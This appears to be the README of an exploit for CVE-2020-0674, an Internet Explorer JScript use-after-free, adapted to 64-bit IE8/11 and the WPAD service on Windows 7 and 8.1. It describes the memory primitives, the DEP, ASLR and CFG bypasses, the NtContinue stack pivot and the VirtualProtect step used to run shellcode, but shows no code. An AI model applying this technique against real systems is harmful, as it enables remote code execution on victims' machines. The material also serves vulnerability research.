It may be used as an alternative RCE attack vector in the exploit chain (in which case it should be used in conjunction with the stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the full exploit chain, Windows 7 is unsupported by the required stage two WPAD sandbox escape shellcode. ________________ CVE-2020-0674 _______________________ RPC/ALPC _______________ | iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe | |______________| | shellcode (heap) | |_____________| |_____________________| ~ Overview This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11 64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP hijack and stack pivot. Notably, this exploit does not contain bypasses for Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in Windows 10. ~ Design The UAF is a result of two untracked variables passed to a comparator for the Array.sort method, which can then be used to reference VAR structs within allocated GcBlock regions which can subsequently be freed via garbage collection. Control of the memory of VAR structs with active JS var references in the runtime script is then used for arbitrary read (via BSTR) and addrof primitives. Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP on a user defined shellcode stored within a BSTR on the heap. This is achieved through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap) and a dynamically resolved stack pivot ROP gadget. NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------| ^ | 2MB stack space (heap) | | |-----------------------------| | | Heap header/BSTR len align | | |-----------------------------| | | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address ] |-----------------------------| The logic flow is: 1. A fake object with a fake vtable is constructed containing the address of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive is used for RIP hijack in conjunction with a pointer to a specially crafted CONTEXT structure in RCX as its parameter. 2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters to KERNEL32.DLL!VirtualProtect. 3. The address of VirtualProtect is the first return address to be consumed on the new (artificial) stack after the stack pivot. 4. VirtualProtect disables DEP on the shellcode region and returns to that same (now +RWX) shellcode address stored as the second return address on the pivoted stack. Notably, the stack pivot was needed here due to the presence of CFG on Windows 8.1, which prevents NtContinue from being used to change RSP to an address which falls outside the stack start/end addresses specified in the TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP to be planted in the CONTEXT structure so that NtContinue would consider its new RSP valid. The exploit will not work on Windows 10 due to enhanced protection by CFG: Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default. ~ Credits maxpl0it - for doing the original analysis and PoC for CVE-2020-0674 on IE8/11 on Windows 7 x64.
